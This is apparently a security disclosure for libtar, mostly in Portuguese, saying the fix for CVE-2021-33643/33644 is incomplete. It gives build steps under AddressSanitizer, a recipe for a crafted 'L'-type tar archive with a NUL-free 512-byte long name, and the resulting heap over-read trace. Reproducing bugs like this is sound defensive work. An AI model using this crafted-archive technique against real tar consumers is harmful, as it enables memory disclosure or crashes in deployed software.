
libtar: correção incompleta para CVE-2021-33643/CVE-2021-33644 (leitura fora dos limites do heap no tratamento de nomes longos do GNU)
Requer um compilador C com AddressSanitizer (gcc ou clang) e Python 3.
# 1. Clone upstream libtar
git clone https://github.com/tklauser/libtar.git
cd libtar
# 2. Generate the listhash sources (normally done by autotools)
mkdir -p build
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/listhash.h.in > build/libtar_listhash.h
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/list.c.in > build/libtar_list.c
sed -e 's/@LISTHASH_PREFIX@/libtar/g' -e 's|/\* @configure_input@ \*/||' \
listhash/hash.c.in > build/libtar_hash.c
# 3. Build libtar + the PoC consumer under ASan
# (CFLAGS below patch over values autotools would normally supply)
CFLAGS="-Ilib -Icompat -Ibuild -Ipoc \
-DNEED_MAKEDEV -DMAJOR_IN_SYSMACROS -DNEED_STRMODE \
-DPACKAGE_VERSION=\"1.2.20\" \
-include sys/sysmacros.h -include fnmatch.h -include fcntl.h -include string.h \
-O1 -g -std=gnu11"
SRCS="lib/append.c lib/block.c lib/decode.c lib/encode.c lib/extract.c \
lib/handle.c lib/output.c lib/util.c lib/wrapper.c compat/strmode.c \
build/libtar_list.c build/libtar_hash.c"
for f in $SRCS; do
gcc $CFLAGS -fsanitize=address -c "$f" -o "build/$(basename "${f%.c}").o"
done
ar rcs build/liblibtar_asan.a build/*.o
gcc $CFLAGS -fsanitize=address poc/poc_crash.c build/liblibtar_asan.a -o build/poc_crash
# 4. Craft the triggering archive and run the PoC
python3 poc/make_archive.py longname.tar
ASAN_OPTIONS=halt_on_error=1:detect_leaks=0 ./build/poc_crash longname.tar
(detect_leaks=0 suprime um achado não relacionado e pré-existente do
detector de vazamentos — tar_close() não libera th_buf.gnu_longname — que
não tem nada a ver com esta vulnerabilidade; omita-o se quiser ver esse
vazamento também.)
Sem patch: o AddressSanitizer aborta com um heap-buffer-overflow de LEITURA:
==ERROR: AddressSanitizer: heap-buffer-overflow ... READ of size 1
#0 safer_name_suffix lib/decode.c:39
#1 th_get_pathname lib/decode.c:60
0x... is located 0 bytes after 512-byte region [...]
allocated by thread T0 here:
#0 malloc
#1 th_read lib/block.c:192
Com patch (após aplicar patches/0001-...patch): sem overflow;
th_get_pathname() retorna exatamente a string de 512 bytes controlada
pelo atacante, com um terminador no offset correto.
Um arquivo tar de 3 blocos:
typeflag='L') declarando tamanho 512."pwn" + "A"*509 — sem byte NUL em lugar algum.th_read() aloca gnu_longname com exatamente 512 bytes (blocks * T_BLOCKSIZE, com blocks == 1) e preenche cada byte a partir do arquivo.
Como os dados não contêm NUL, o buffer não tem terminador de string.
Qualquer código que o trate como uma string C — safer_name_suffix(),
th_get_pathname(), th_get_linkname(), a própria impressão verbose/debug do libtar —
lê além do fim da alocação.